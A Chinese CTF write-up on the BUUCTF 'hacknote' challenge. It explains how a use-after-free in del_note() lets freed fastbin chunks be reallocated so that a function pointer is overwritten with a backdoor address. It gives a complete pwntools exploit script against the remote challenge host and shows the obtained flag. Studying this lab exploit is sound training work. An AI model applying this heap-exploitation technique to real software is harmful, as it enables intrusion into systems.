【BUUCTF】hitcontraining_uaf
收获
堆中的 ret2text
利用 UAF 漏洞,两次
free
,一次malloc
,篡改被释放的堆中的数据为后门函数地址,然后再打印被释放的堆块内容触发后门函数
思路
本地环境:Glibc 2.23
查看保护机制:
尝试运行:
一个经典菜单题,IDA 下分析:
主要漏洞发生在 del_note()
中:
通过 free
释放内存后未置 0,存在 UAF 漏洞
同时存在一个后门函数 magic()
:
结合 GDB 调试,分析一下 add_note()
函数:
验证一下我们的分析,使用一次 add_note(32, b'aaaa')
后堆结构如下:
第一个堆块我们无法控制,它有两个指针,一个指向 print_note_content()
函数,一个指向 note chunk
,我们只能控制第二个堆块 note chunk
的 content
为了方便理解,用图表示出来就是这样:
print_note()
函数用于输出 note chunk
中的 content
内容:
由于存在 UAF 漏洞,于是我们的想法是覆盖
notelist[i][0]
的指针,使其指向magic()
函数的地址我们再通过
print_note()
函数将notelist[i][1]
指向的note chunk
打印,就会调用notelist[i][0]
指向的magic()
函数获得 shell
首先,创建两个 note chunk
(实际上创建了 4 个堆,因为还有 2 个 notelist
堆):
分别释放它们:
此时如果我们再通过 add_note()
创建 new_note chunk
由于 add_note()
会创建两个堆块,而 fast bin
是后进先出的,会申请到 fastbin[0x10]
中的两个 fast bin
,即 0x9f4d038
和 0x9f4d000
:
然后我们覆盖 new_note chunk
的第一个内容为后门函数 magic()
的地址:
由于存在 UAF 漏洞,之前 free
掉的 notelist[0]
和 note chunk 0
依然是可以使用的
我们其实相当于将之前 notelist[0][0]
指向 print_note_content()
函数的指针篡改为了指向 magic()
函数的指针
然后调用 print_note()
函数,打印被 free
掉的 note chunk 0
的内容,此时就会执行 notelist[0][0]
处的 magic()
函数,触发后门函数拿到 shell
脚本
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='i386', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 0
elf = ELF("./hacknote")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./hacknote")
else:
# 远程程序的 IP 和端口号
io = remote("node5.buuoj.cn", 27407)
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
def add_note(size, content):
io.sendlineafter(b'Your choice :', "1")
io.sendlineafter(b'Note size :', str(size))
io.sendlineafter(b'Content :', content)
def del_note(index):
io.sendlineafter(b'Your choice :', "2")
io.sendlineafter(b'Index :', str(index))
def print_note(index):
io.sendlineafter(b'Your choice :', "3")
io.sendlineafter(b'Index :', str(index))
add_note(32, b'aaaa')
add_note(32, b'bbbb')
del_note(0)
del_note(1)
magic_addr = elf.symbols["magic"]
add_note(8, p32(magic_addr))
print_note(0)
# 与远程交互
io.interactive()
结果
flag{6e193074-b875-4c2a-bb9d-3828320fa467}